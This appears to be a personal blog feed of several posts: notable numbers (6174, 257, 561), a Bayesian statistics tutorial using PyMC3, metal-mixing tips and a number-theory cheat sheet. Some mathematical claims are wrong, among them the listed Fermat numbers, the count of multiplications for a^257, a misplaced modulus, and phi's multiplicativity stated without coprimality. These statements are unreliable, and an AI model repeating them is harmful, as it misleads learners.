with the Kaprekar number 6174.
That means that 6174 is a special number in some sense and appropriate
for a license plate.</p>
<p>Does this work for numbers with three digits? Or five digits? What
happens if we do not take numbers in base 10, but in a different base?
Fun questions to spice up your weekend.</p>
<h2 id="the-fermat-prime-257">The Fermat Prime 257</h2>
<p>The number 257 is a prime number. That means that it has no divisors
except 1 and 257.
But, i hear you asking, what is so special about this prime number?
Well, we can decompose it as \(257 = 2^{2^3}+1\).</p>
<p>Any number of the form \(F_n = 2^{2^n}+1\) is called Fermat
number.
If we look at these numbers, for the first few \(n\), we get
\(1,3,17,267,65537\).
These are all prime numbers.
But for \(n=5\)
we get \(2^{2^5}+1 = 4294967297 = 641 \cdot 6700417\) which is not a
prime.
In fact, it is unknown if any Fermat number \(F_n\) for \(n>4\) is
prime.</p>
<p>Another nice fact about Fermat numbers, is that their binary
representation looks like \(1000...00001\).
In particular, \(257\) in binary is \(100000001\).
This allows very fast exponentiation with 257.
As an example, if we want to compute \(a^{257}\) for some number \(a\)
we would need 257 multiplications, in the naive case.
However, as \(a^{257} = a^{2^{2^4}+1} = (((a^2)^2)^2)^2 \cdot a\), we
can compute it using only 5 multiplications!
This fact is often used in the signature and encryption algorithm RSA to
speed up the implementation.
The public key in the RSA algorithm is often set to \(65537=F_4\).</p>
<p>All these facts make \(257\) a nice prime number.
Whenever I wrote some number theoretic code and needed a
large prime number for a test case I used 257.</p>
<h2 id="the-smallest-carmichael-number-561">The Smallest Carmichael Number 561</h2>
<p>Fermat’s little theorem says that for any prime number \(p\) and any
number \(a\) which is smaller than \(p\) the following congruence relations holds:</p>
\[a^{p-1} \equiv 1 \mod p\]
<p>The modulo operation is just the usual remainder of the division with
\(p\).
Let us make an example. As a prime we can use \(p=5\), as \(a\) we
can use any number, say \(a=2\).
Then we get:</p>
<p>\(a^{p-1} = 2^{5-1} = 2^4 = 16 = 3\cdot 5 +1 \equiv 1\mod 5\).
The last step is just division with remainder. 16 divided by 5 is 3 with
a remainder of 1.</p>
<p>How about the reverse way? Does Fermat’s little theorem work for
numbers that are not prime?
Mostly not. (We will get to the exceptions later.) If we take \(9=3\cdot 3\) as an example, and again \(a=2\), then
\(2^{9-1} = 2^8 = 256 = 3\cdot 85 +2 \equiv 2 \mod 3\).
For a prime number we would get 1 instead of 2. But 9 is not a prime,
and so we get 2.</p>
<p>This suggests that we could use Fermat’s little theorem to create a
primality test. If we want to check if a number \(p\) is prime, we could take some
\(a\) and check if \(a^{p-1} \equiv 1 \mod p\). The more different \(a\) we take, the more certain we can be in the primality of the number \(p\).</p>
<p>However, this does not always work. This test produces false
positives, i.e., there are numbers that are detected as primes by this
test, but which are not primes.
These are the exceptions I wrote about earlier.
These numbers are called Fermat pseudoprimes or simply Carmichael
numbers.
And – you probably guessed it by the title of this section – the smallest such number is 561.
The next Carmichael numbers are 1105, 1729, 2465, 2821, 6601, 8911,
10585, 15841, 29341, 41041, 46657, 52633. So one could get the
impression that they are sparse in some sense.
And as that number was not yet taken, it ended on my license plate.</p>
A Painless Intro To Bayesian Statistics
2022-05-29T00:00:00+00:00
https://hkopp.github.io/2022/05/a-painless-intro-to-bayesian-statistics
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h1 id="intro">Intro</h1>
<p>Today I want to write about Bayesian statistics.
Bayesian statistics is an approach to inferring probabilities.
It provides ways to specify a previous belief (the prior) and update the belief, as new observations are made and new data becomes available.
Thus, it is a valuable instrument for very diverse areas such as <a href="https://github.com/hvasbath/beat">earth quake prediction</a> or <a href="https://www.fda.gov/regulatory-information/search-fda-guidance-documents/guidance-use-bayesian-statistics-medical-device-clinical-trials">clinical trials</a>.</p>
<p>Previously, Bayesian analysis was often cumbersome, as the involved probabilities are often hard to compute.
In most cases, the equations are not solvable analytically at all.
However, in the last few years new algorithms such as <a href="https://en.wikipedia.org/wiki/Hamiltonian_Monte_Carlo">Hamiltonian Monte Carlo</a>
or <a href="https://arxiv.org/abs/1111.4246">NUTS</a> have been discovered that enable to tackle the math part.
As a consequence, it was possible to design probabilistic programming languages such as <a href="https://mc-stan.org/">Stan</a>
or <a href="https://docs.pymc.io/">PyMC3</a> that separate the math from the modelling.
It is now possible to handle the occurring probability distributions without explicitly handling the math parts.</p>
<p>In this blog post, I contrast Bayesian analysis with machine learning and the frequentist interpretation of probability.
Then, I explain Bayes’ theorem, the heart of Bayesian analysis.
I conclude with an example of contemporary usage of Bayesian analysis by inferring the probability of a biased coin with PyMC3.</p>
<h2 id="bayesian-modelling-vs-machine-learning">Bayesian Modelling vs Machine Learning</h2>
<p>Machine learning is usually concerned with predicting future behavior based on observed data.
This can encompass classifying or clustering data.</p>
<p>As an example, machine learning software can classify the gender of persons based on their facial features.
For this, the machine learning algorithm is trained on a data set of facial images, together with the annotated gender.
In a subsequent phase, the algorithm can associate novel facial images, which were not previously in the data set, to a gender.</p>
<p>One main drawback in my personal point of view is the limited introspection of machine learning.
No additional knowledge is created that explains why the model works the way it does.
In our example, if an image is assigned to the wrong gender, there are only very limited ways to trace the origins of this failure.</p>
<p>Further, the lack of transparency within the algorithm can lead to <a href="https://en.wikipedia.org/wiki/Algorithmic_bias">algorithmic bias</a>.
If the training set lacks people of color or of nonbinary genders, the algorithm will fail on those groups.</p>
<p>Bayesian modelling, in contrast to machine learning, is not focussed on predicting, but instead on inferring.
In Bayesian modelling, the internal parameters of the model are inferred based on the observed data.
This helps significantly in understanding the data and the process that generates the data.
However, in Bayesian modelling a model needs to be crafted by hand, in contrast to machine learning, where the algorithm can learn the model by itself.</p>
<h2 id="bayesian-vs-frequentist-interpretations-of-probability">Bayesian vs Frequentist Interpretations of Probability</h2>
<p>Whenever I read a general introduction to Bayesian methods, the author contrasts it with frequentist approaches to probability.
It took me a long time to understand the practical implications of this distinction.
So, if you do not grasp this, do not despair. This stuff is hard.</p>
<p>There are two main philosophical interpretations of probabilities:
the <em>frequentist</em> and the <em>Bayesian</em> interpretation.</p>
<p>In the <em>frequentist interpretation</em>, probability is based on the frequency of how often something has already been observed.
If a coin is flipped 10 times and lands on head 3 times and on tail 7 times, then the probability of the coin landing on head is 30%.
From a frequentist perspective it does not make sense to talk about probabilities of things that can not be repeated.</p>
<p>In the <em>Bayesian interpretation</em>, probability is based on the certainty, sometimes also called the belief, of an observation happening.
This allows to talk about the probability of life on mars, or the probability of some person being elected as president.
In contrast, from a frequentist point, either there is life on mars, or there is no life on mars, but there is no way to talk about the certainty.</p>
<p>In particular, when a coin is thrown ten times and lands on head 3 times or when a coin is thrown 100 times and lands on head 30 times,
there is no difference in the frequentist interpretation.
A frequentist will in both cases infer that the probability of the coin landing on head is 30%, as that is the maximum likelihood estimator.
In a Bayesian setting, however, the certainty of the coin landing on heads 30% of the time can be estimated.
Or in other words, the probability of the coin landing on heads is not only a single number, but comes from a probability distribution.</p>
<h1 id="bayes-theorem-and-challenges">Bayes’ Theorem and Challenges</h1>
<p>Let us now come to the heart of Bayesian analysis: Bayes’ Theorem.
Bayes’ theorem is a simple formula that allows the updating of a belief when new data is made available.
Let us call \(D\) the observed data, \(\theta\) is a parameter of our model, \(P\) denotes the probability.
Then Bayes’ theorem looks as follows:</p>
\[\begin{align*}
P(\theta\mid D)=\frac{P(D\mid \theta)P(\theta)}{P(D)}
\end{align*}\]
<p>This formula is not magical and can be derived from basic probability theory.
However, Bayes’ theorem is very important and if you understand this formula well enough, then all books about Bayesian analysis are just footnotes to this formula.
In fact this formula is so central, that each of the occurring terms has a special name.</p>
<ul>
<li>\(P(\theta \mid D)\) is called the <em>posterior</em>. It is the refined belief in \(\theta\) considering the available data \(D\).</li>
<li>\(P(D\mid \theta)\) is called the <em>likelihood</em>. It is the probability of getting the data \(D\) when we use the parameter \(\theta\) in our model.</li>
<li>\(P(\theta)\) is called the <em>prior</em>. This is the strength of our belief in \(\theta\) without considering any data.</li>
<li>\(P(D)\) is called the <em>evidence</em>. It is the least important part of the formula and often only considered as a normalizing factor, so that the sum of all probabilities is 1. If you want to actually compute this, you have to sum (or integrate) over all possible values of \(\theta\), weighted by their certainty.</li>
</ul>
<p>If you want to take a look at an easy example of applying Bayes’ theorem, you can read <a href="/2014/09/the-quarter-flip">one of my first blog posts</a>.</p>
<p>One of the main problems when using Bayes’ theorem is that the formulas that occur are often not solvable analytically.
Thus, for a long time, Bayesian analysis was limited to the usage of <a href="https://en.wikipedia.org/wiki/Conjugate_prior">conjugate priors</a>.
These are prior distributions for a fixed likelihood, such that the posterior is again from the same family of distributions.
As an example, the beta distribution is a conjugate prior for the likelihood function of the binomial distribution.
This allows to update the posterior further, as even more new data becomes available.</p>
<h1 id="probabilistic-programming--an-example">Probabilistic Programming – An Example</h1>
<p>In this section I will walk you through applying Bayesian modelling to a coin flip.
We start with a coin that has an unknown probability \(\theta\) of landing on head.
Thus, as prior distribution all probabilities are equally likely.
The coin may fall on head with a probability of 30%, or 90% or something else. We do not know in advance.
Thus, \(\theta\) is not treated as a single value (as in a frequentist setting) but instead as a random value itself.</p>
<p>This is modelled with a <a href="https://en.wikipedia.org/wiki/Beta_distribution">beta distribution</a>.
A beta distribution is a fancy distribution that has two parameters, \(\alpha\) and \(\beta\).
Depending on their values, the beta distribution can take a wide variety of forms and thus is flexible enough for our purpose.
For \(\alpha=\beta=1\) we get the uniform distribution.
This is what we choose initially, as we think that all values of the bias \(\theta\) of the coin have the same probability.</p>
<p>A small but important detail is that we implicitly assume that the coin flips are independent, i.e., the probability of the coin landing on head does not change.
Without this, the math would not work out. In our case it is a reasonable assumption, but keep it in mind, if you want to generalize this model.</p>
<p>Next, we need to acquire data to refine our estimation of \(\theta\).
For this we throw the coin 10 times and count the number of heads.
This follows a binomial distribution.
As a nice fact, the beta distribution is a conjugate prior for the binomial distribution, thus further justifying our choice of distributions.</p>
<p>Using Bayes formula, we calculate the posterior, given the data of the coin flips.
That means, we infer the probability of the coin landing on head, given some coin flips.</p>
<p>Even though this is a very simple example and can be solved analytically as we are in the <a href="https://en.wikipedia.org/wiki/Beta-binomial_distribution">beta-binomial model</a>, it is not easy to calculate.
And in fact, we will not compute this analytically, but rather use probabilistic programming for inferring the posterior probability.
You can find the analytic solution in many introductory books to Bayesian statistics and in
<a href="https://www.quantstart.com/articles/Bayesian-Inference-of-a-Binomial-Proportion-The-Analytical-Approach/">some</a>
<a href="https://stephens999.github.io/fiveMinuteStats/bayes_beta_binomial.html">blog</a>
<a href="https://tinyheero.github.io/2017/03/08/how-to-bayesian-infer-101.html">posts</a>.
Note that the analytic solution is only “simple” to calculate, due to the fact that the beta distribution is a conjugate prior for the binomial distribution.
In other cases, this cannot be computed analytically at all.</p>
<p>In mathematical notation, our model looks as follows:</p>
\[\begin{align*}
\theta \sim \mathrm{Beta}(\alpha,\beta) \\
y \sim \mathrm{Bin}(n=10,p=\theta)
\end{align*}\]
<p>The parameter \(\theta\) is the probability of the coin landing on head.
\(y\) is the number the coin lands on head, given 10 flips of the coin.</p>
<p>First, we need to simulate the data of our coin flip, as i do not have a real biased coin at hand.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">from</span> <span class="nn">scipy</span> <span class="kn">import</span> <span class="n">stats</span>
<span class="n">np</span><span class="p">.</span><span class="n">random</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">N</span> <span class="o">=</span> <span class="mi">10</span>
<span class="n">theta_real</span> <span class="o">=</span> <span class="mf">0.3</span> <span class="c1"># this is unknown
</span><span class="n">data</span> <span class="o">=</span> <span class="n">stats</span><span class="p">.</span><span class="n">bernoulli</span><span class="p">.</span><span class="n">rvs</span><span class="p">(</span><span class="n">p</span><span class="o">=</span><span class="n">theta_real</span><span class="p">,</span> <span class="n">size</span><span class="o">=</span><span class="n">N</span><span class="p">)</span></code></pre></figure>
<p>The coin flips in the array data are [0 1 0 0 0 0 0 0 0 0].
I have fixed the seed, so you can follow along at home in front of your screen.</p>
<p>Next, we compute the posterior, i.e., the probability distribution of \(\theta\), given access to the data.
For this we use PyMc3, as it provides us with state of the art <a href="https://en.wikipedia.org/wiki/Markov_chain_Monte_Carlo">MCMC</a> algorithms, so we do not have to care about the math.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">pymc3</span> <span class="k">as</span> <span class="n">pm</span>
<span class="k">with</span> <span class="n">pm</span><span class="p">.</span><span class="n">Model</span><span class="p">()</span> <span class="k">as</span> <span class="n">my_model</span><span class="p">:</span>
<span class="n">theta</span> <span class="o">=</span> <span class="n">pm</span><span class="p">.</span><span class="n">Beta</span><span class="p">(</span><span class="s">'theta'</span><span class="p">,</span> <span class="n">alpha</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">beta</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
<span class="n">y</span> <span class="o">=</span> <span class="n">pm</span><span class="p">.</span><span class="n">Bernoulli</span><span class="p">(</span><span class="s">'y'</span><span class="p">,</span> <span class="n">p</span><span class="o">=</span><span class="n">theta</span><span class="p">,</span> <span class="n">observed</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="n">trace</span> <span class="o">=</span> <span class="n">pm</span><span class="p">.</span><span class="n">sample</span><span class="p">(</span><span class="mi">2000</span><span class="p">,</span> <span class="n">random_seed</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span></code></pre></figure>
<p>Internally, the sample command is the part where all the magic happens.
It uses the <a href="https://arxiv.org/abs/1111.4246">NUTS (No U-turn Sampler)</a> which is an extension of the <a href="https://en.wikipedia.org/wiki/Hamiltonian_Monte_Carlo">Hamiltonian Monte Carlo</a> algorithm.
But we do not have to care about that. All we have to care about is the correct modelling.
PyMC3 will do its magic and give us a posterior.</p>
<p>Next, we want to visualize the posterior in order to evaluate it.
For this, we are using the plot_posterior function from ArViz.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">arviz</span> <span class="k">as</span> <span class="n">az</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="n">az</span><span class="p">.</span><span class="n">plot_posterior</span><span class="p">(</span><span class="n">trace</span><span class="p">)</span>
<span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span></code></pre></figure>
<p>This yields the following image.</p>
<p><img src="/assets/2022-05-29-a-painless-intro-to-bayesian-statistics/az_plot.png" alt="A plot of the posterior distribution" /></p>
<p>This is the approximation of the posterior probability of \(\theta\).
The peak is at 0.16 as we only had one head among the ten throws of the coin.
In a frequentist analysis, we would get 0.1 as the estimate, i.e., the mode of the Bayesian prior.
However, in a Bayesian analysis, we get the whole distribution of \(\theta\) and thus, our certainty.</p>
<p>I do not know with certainty (bad pun intended), why there is the difference between 0.16 and 0.1.
I suspect it is due to the number of samples or some approximation error in the algorithm.</p>
<p>At the bottom we see the 94% HDI.
This is the highest density interval (HDI) – a measure of dispersion of our distribution.
It means that the real value of \(\theta\) is between 0.011 and 0.35 with a probability of 94%.
The HDI is analogous to the confidence interval in frequentist statistics.</p>
<p>If we have more samples from the data, our estimate of the bias \(\theta\) is more exact and will converge to the real value of theta as you hopefully have guessed.
Let us try the same Bayesian inference with more samples.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">from</span> <span class="nn">scipy</span> <span class="kn">import</span> <span class="n">stats</span>
<span class="n">np</span><span class="p">.</span><span class="n">random</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">N</span> <span class="o">=</span> <span class="mi">1000</span> <span class="c1"># more samples this time.
</span><span class="n">theta_real</span> <span class="o">=</span> <span class="mf">0.3</span> <span class="c1"># this is unknown
</span><span class="n">data</span> <span class="o">=</span> <span class="n">stats</span><span class="p">.</span><span class="n">bernoulli</span><span class="p">.</span><span class="n">rvs</span><span class="p">(</span><span class="n">p</span><span class="o">=</span><span class="n">theta_real</span><span class="p">,</span> <span class="n">size</span><span class="o">=</span><span class="n">N</span><span class="p">)</span>
<span class="kn">import</span> <span class="nn">pymc3</span> <span class="k">as</span> <span class="n">pm</span>
<span class="kn">import</span> <span class="nn">arviz</span> <span class="k">as</span> <span class="n">az</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="k">with</span> <span class="n">pm</span><span class="p">.</span><span class="n">Model</span><span class="p">()</span> <span class="k">as</span> <span class="n">my_model</span><span class="p">:</span>
<span class="n">theta</span> <span class="o">=</span> <span class="n">pm</span><span class="p">.</span><span class="n">Beta</span><span class="p">(</span><span class="s">'theta'</span><span class="p">,</span> <span class="n">alpha</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">beta</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
<span class="n">y</span> <span class="o">=</span> <span class="n">pm</span><span class="p">.</span><span class="n">Bernoulli</span><span class="p">(</span><span class="s">'y'</span><span class="p">,</span> <span class="n">p</span><span class="o">=</span><span class="n">theta</span><span class="p">,</span> <span class="n">observed</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="n">trace</span> <span class="o">=</span> <span class="n">pm</span><span class="p">.</span><span class="n">sample</span><span class="p">(</span><span class="mi">2000</span><span class="p">,</span> <span class="n">random_seed</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
<span class="n">az</span><span class="p">.</span><span class="n">plot_posterior</span><span class="p">(</span><span class="n">trace</span><span class="p">)</span>
<span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span></code></pre></figure>
<p>And we get the following estimation of the bias \(\theta\) of the coin.</p>
<p><img src="/assets/2022-05-29-a-painless-intro-to-bayesian-statistics/az_plot_moredata.png" alt="A plot of the posterior distribution after more data is available" /></p>
<p>As you can see, the 94% HDI is now from 0.27 to 0.32 and the mean is 0.3.</p>
<h1 id="conclusion">Conclusion</h1>
<p>As you have seen, making use of Bayesian models without a detailed understanding the math and algorithms behind it is not very hard.
It is possible to build tailored Bayesian models that allow to infer information about the data and thus gain more insight than usual machine learning models.</p>
<p>I hope I could inspire you to go out and play around with that knowledge.
Do not be intimidated if something breaks. That is part of learning.</p>
Mixing Metal Music
2022-04-09T00:00:00+00:00
https://hkopp.github.io/2022/04/mixing-metal-music
<h1 id="intro">Intro</h1>
<p>In this post, I will share my knowledge about mixing metal music.
I have been in (mostly metal) bands on and off since age 16. And even though I
always tried to get around mixing the music I have accumulated some
knowledge.</p>
<p>This is how I mix metal. There are many other ways to do it, but if
you do it like this it serves my taste.
The most important part is that you do not need expensive gear to mix
metal. As a friend of mine said, all you need is your ears and some balls.</p>
<h1 id="guitars">Guitars</h1>
<ul>
<li>At best, record two guitars - one slightly left, one slightly right - to make it sound bigger.</li>
<li>Set the gain not higher than 70%. Except for Lo-Fi Black Metal.</li>
<li>Noisegate to cut away the quiet noises.</li>
<li>Cut everything above 10k Hz.</li>
<li>Cut everything below 100 Hz to leave room for the bass.</li>
<li>Sweep the frequency spectrum with a bandpass and high Q to find
unwanted noises. Usually somewhere around 4k Hz there is a noise I
do not like. Bandpass it away (bandcut?) with a lower Q.</li>
<li>If you are a pro, you can boost the mids around 1,3-1,4k Hz
slightly.</li>
</ul>
<h1 id="vocals">Vocals</h1>
<ul>
<li>Vocals are often too quiet, so one of the challenges is to get them
loud enough without killing them.</li>
<li>Do not cup the fucking mic when recording. Cupping the mic changes
it from a cardioid characteristic to an omnidirectional mic.</li>
<li>Noisegate the breath noises.</li>
<li>Compressor to get the voice loud enough.</li>
<li>Cut everything above 10k Hz.</li>
<li>Cut everything below 150-200 Hz to leave room for the bass and make the
vocals clearer.</li>
<li>Around 2-2,2k Hz is the range which is necessary for
understandability. A small boost sounds cool here.</li>
<li>Again as with the guitars, remove unwanted noises with a bandpass.</li>
<li>To make the vocals sound more huge, you can copy them and insert
them ~10ms later and more quiet. This is similar to the double
tracking of the guitar. Alternatively, a monodelay can be used with
a delay of 10ms (or 32th notes of the tempo of the song) and 25%
volume. But please keep in mind that this is technically how a comb
filter works, so verify with your ears.</li>
</ul>
<h1 id="bass">Bass</h1>
<ul>
<li>I often do not use a bass. If I do, I simply lowpass it. If I do not
use a bass, the guitars can live in the low frequency spectrum < 100
Hz.</li>
<li>The biggest secret to my bass guitar tone is that it is a normal
guitar and not a bass. I pitch it down one octave, after recording.
This is not a professional tip, but saved me learning bass guitar.</li>
</ul>
<h1 id="drums">Drums</h1>
<ul>
<li>Drums are all over the place in the frequency spectrum.</li>
<li>The bass drum competes with the bass guitar for the low frequencies,
so sometimes it makes sense to slightly boost the high frequency
(the “click”) of the bass drum.</li>
<li>If you are a pro, you can let the bass guitar duck when the bass
drum hits using sidechaining. Whenever I do that, I use too much of
that effect and it sounds unnatural.</li>
<li>Use reverb. Reverb moves sounds into the background.</li>
<li>Tape saturation. In my opinion tape saturation glues together the
various sounds of the drum kit. And it smoothes the cymbals.</li>
</ul>
A Whirlwind Tour Through Elementary Number Theory
2022-03-05T00:00:00+00:00
https://hkopp.github.io/2022/03/a-whirlwind-tour-through-elementary-number-theory
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="intro">Intro</h2>
<p>This post is a very fast tour through elementary number theory. It
consists mainly of lecture notes shrinked to a cheat
sheet.</p>
<h2 id="linear-diophantine-equations">Linear Diophantine Equations</h2>
<p>\(ax+by=c,\;a\neq 0,\;b\neq 0\) (solvable \(\Leftrightarrow gcd(a,b)\mid c\))</p>
<p>Let \(d:=gcd(a,b)=ax_0+by_0\). Then the solutions are
\(x=\frac{c}{d}x_0+\frac{b}{d}n,\;y=\frac{c}{d}y_0+\frac{a}{d}n\) for all \(n\in\mathbb{Z}\).</p>
<h2 id="perfect-numbers">Perfect Numbers</h2>
<p>\(n\in\mathbb{N}\) is called perfect \(:\Leftrightarrow n=\sum\limits_{d\geq 1,\;d|n}^{n-1}\).<br />
\(\sigma(n):=\sum\limits_{d|n}d\Rightarrow n\) is perfect \(\Leftrightarrow 2n=\sigma(n)\).</p>
<p>\(n=p_1^{\alpha_1}\cdots p_r^{\alpha_r},\;p_i\in\mathbb{P}\) for all \(i \Rightarrow \sigma(n)=\sigma(\prod\limits_{i=1}^{r}p_i^{\alpha_i})
=\prod\limits_{i=1}^{r}\sigma(p_i^{\alpha_i})=\prod\limits_{i=1}^{r}\frac{p_i^{\alpha_i+1}-1}{p_i-1}\)</p>
<p>\(n=2^{s-1}b\) for all \(s\geq 2\), b odd \(\Rightarrow\) (n perfect \(\Leftrightarrow b\in\mathbb{P}\wedge b=2^s-1\))</p>
<p>\(M_s:=2^s-1\) for all \(s\geq 1\): \(M_s\) prime \(\Leftrightarrow: M_s\) Mersenne prime \(\Rightarrow s\in\mathbb{P}\)</p>
<p>\(F_s:=2^s+1\) for all \(s\geq 0\): \(F_s\) prime \(\Leftrightarrow: F_s\) Fermat prime \(\Rightarrow \exists t\in\mathbb{N}:s=2^t\) (Proof through geometric series)</p>
<h2 id="the-totient-function">The Totient Function</h2>
<p>\(\varphi(n):=\lvert \mathbb{Z}_n^*\rvert\)</p>
<p>Euler’s theorem: \(k,n\in\mathbb{N}_{>0},\;gcd(k,n)=1\Rightarrow k^{\varphi(n)}\equiv 1\;(mod\;n)\)
(Proof by observation in \(\mathbb{Z}_n^*\))</p>
<p>Fermat’s little theorem: \(k\in\mathbb{N}_{>0},\;p\in\mathbb{P}\Rightarrow k^p\equiv k\;(mod\;p)\).</p>
<p>It follows that \(n\in\mathbb{P}\Rightarrow\forall k\in\{1,\cdots ,n-1\}:k^{n-1}\equiv 1\;(mod\;n)\).</p>
<p>\(n\in\mathbb{Z}\) is called Carmichael number \(:\Leftrightarrow\;(\forall a:gcd(a,n)=1\Rightarrow a^{n-1}\equiv 1\;(mod\;n))\)</p>
<h2 id="computing-varphin">Computing \(\varphi(n)\)</h2>
<p>\(n=\sum\limits_{d|n}\varphi(d)\)</p>
<p>\(p\in\mathbb{P}\Rightarrow\varphi(p^\alpha)=p^\alpha-p^{\alpha-1}\) (Proof by Induction)</p>
<p>\(\varphi(n\cdot m)=\varphi(n)\cdot\varphi(m)\) (Proof by induction over \(n\cdot m\))</p>
<p>Similar to chinese remainder theorem: \(\mathbb{Z}_{nm}^*\cong\mathbb{Z}_{n}^*\times\mathbb{Z}_{m}^*\)</p>
<p>and thus \(\varphi\) can be computed as \(\varphi(n)=n\cdot\prod\limits_{p\mid n,\;p\in\mathbb{P}}(1-\frac{1}{p})\)</p>
<h2 id="multiplicative-functions">Multiplicative Functions</h2>
<p>\(\psi:\mathbb{N}_{>0}\rightarrow\mathbb{R}\) is called multiplicative \(:\Leftrightarrow \psi(nm)=\psi(n)\cdot\psi(m)\)
for all \(n,m\in\mathbb{N}\) with \(gcd(n,m)=1\)</p>
<p>\(\sigma,\varphi\) multiplicative</p>
<p>\(\begin{equation}
o(n):=\begin{cases}
1, & n=1\\
0, & else\\
\end{cases}
\end{equation}\) is multiplicative</p>
<p>\(e(n):=1\) multiplicative, \(i(n):=n\) multiplicative</p>
<p>\(f\) multiplicative \(\Rightarrow f(1)=1\vee \forall n\in\mathbb{N}:f(n)=0\)</p>
<p>\(f, g\) multiplicative \(\Rightarrow (f\cdot g)(n):=f(n)\cdot g(n)\) multiplicative</p>
<p>We define the Dirichlet convolution for \(f,g:\mathbb{N}\rightarrow\mathbb{R}\) as \((f\star g)(n):=\sum\limits_{d\mid n}f(d)\cdot g(\frac{n}{d})\)</p>
<p>Dirichlet convolution: commutative, associative, \(o\) is the neutral element</p>
<p>\(f, g\) multiplicative \(\Rightarrow f\star g\) multiplicative</p>
<p>\(\mu:\mathbb{N}\Rightarrow\mathbb{R},\;
\begin{equation}
\mu(n):=\begin{cases}
(-1)^r, & n=p_{1}\cdots p_{r} \text{ is squarefree} \\
0, & \text{ else} \\
\end{cases}
\end{equation}\) is multiplicative.</p>
<p>\(f:\mathbb{N}_{>0}\rightarrow\mathbb{R},\;F(n):=\sum\limits_{d\mid n}f(d)=(f\star e)(n)\) summation function of \(f\)</p>
<p>We have the following identities:
\(\varphi\star e=i,\quad i\star e=\sigma,\quad\mu\star e=o,\quad o\star e=e,\quad \frac{\mu}{i}\star e=\frac{\varphi}{i}\)</p>
<p>\(e\star e=\tau,\;\tau(n):=\sum\limits_{d \mid n} 1\) the number of factors</p>
<h2 id="the-diophantine-equation-x2y2p">The Diophantine Equation \(x^2+y^2=p\)</h2>
<p>Every polynomial that is not constant has roots modulo infinitely many primes (Idea of proof \(f(p_{1}\cdots p_{r}a_0x)=a_0g\))</p>
<p>\(p\in\mathbb{P}\) odd: \(x^2+1\equiv 0\;(mod\;p)\) is solvable \(\Leftrightarrow p\equiv 1\;(mod\;4)\)
(Idea of proof: \(1\equiv(\alpha^2)^{\frac{p-1}{2}}\;(mod\;p)\))</p>
<p>It follows that there are infinitely many primes of the form \(p\equiv 1\;(mod\;4)\).</p>
<h2 id="wilsons-theorem">Wilson’s Theorem</h2>
<p>Let \(K\) be a field, \(\alpha\) a zero of \(f\in K[X]\). Then \(\Rightarrow (\alpha-x)\mid f\) (Idea of proof: \(f=q(x-\alpha)+r,\;deg(r)<deg(x-\alpha)\))</p>
<p>\(f\in K[X],\;deg(f)=n\Rightarrow f\) has at most \(n\) zero points.</p>
<p>Wilson: \(p\in\mathbb{P}\Rightarrow (p-1)!\equiv -1\;(mod\;p)\) (Idea of proof: \(x^{p-1}-1\in\mathbb{Z}_p[X]\) and Euler)</p>
<h2 id="primes-as-sum-of-two-square">Primes as Sum of Two Square</h2>
<p>\(x,y\in\mathbb{Z}\) with \(x^2+y^2=p\in\mathbb{P}\setminus\{2\}\Rightarrow gcd(x,p)=gcd(y,p)=1\)</p>
<p>\(x,y\in\mathbb{Z}\) with \(x^2+y^2=p\in\mathbb{P}\setminus\{2\}\Leftrightarrow p\equiv 1\;(mod\;4)\) (Idea of proof: Fermat’s theorem)</p>
<p>Thue’s lemma: \(a\in\mathbb{Z}\;,n\in\mathbb{N}\) is not square \(\Rightarrow ax\equiv y\;(mod\;n)\) has a solution \((x,y)\neq(0,0)\) with \(\lvert x\rvert,\;\lvert y\rvert <\sqrt{(n)}\)</p>
<h2 id="the-group-of-units-in-mathbbz_n">The Group of Units in \(\mathbb{Z}_n\)</h2>
<p>\(\lvert G\rvert=n\)</p>
<p>\(\forall d\mid n\exists\varphi(d)\) elements of order d \(\Leftrightarrow\) G is cyclic.</p>
<p>\(K\) field, \(G\leq K^*\) subgroup, \(\lvert G\rvert=n<\infty\Rightarrow\) G is cyclic (Idea of proof: \(x^d-1\))</p>
<p>\(a \in\mathbb{N}\) is a primitive root modulo \(n:\Leftrightarrow\overline{a}\in\mathbb{Z}_n^*\) with \(o(\overline{a})=\varphi(n)\),
therefore \(\mathbb{Z}_n^*=\langle\overline{a}\rangle\)</p>
<p>\(\alpha\geq 3 \Rightarrow\) there is no primitive root modulo \(2^\alpha\), since \(a^{2^{\alpha-2}}\equiv1\;(mod\;2^\alpha)\)</p>
<p>\(\forall p\in\mathbb{P}\setminus\{2\}:\;\mathbb{Z}_{p^\alpha},\;\mathbb{Z}_2,\;\mathbb{Z}_4\;\mathbb{Z}_{2p^\alpha}\) is cyclic.</p>
<h2 id="the-legendre-symbol">The Legendre Symbol</h2>
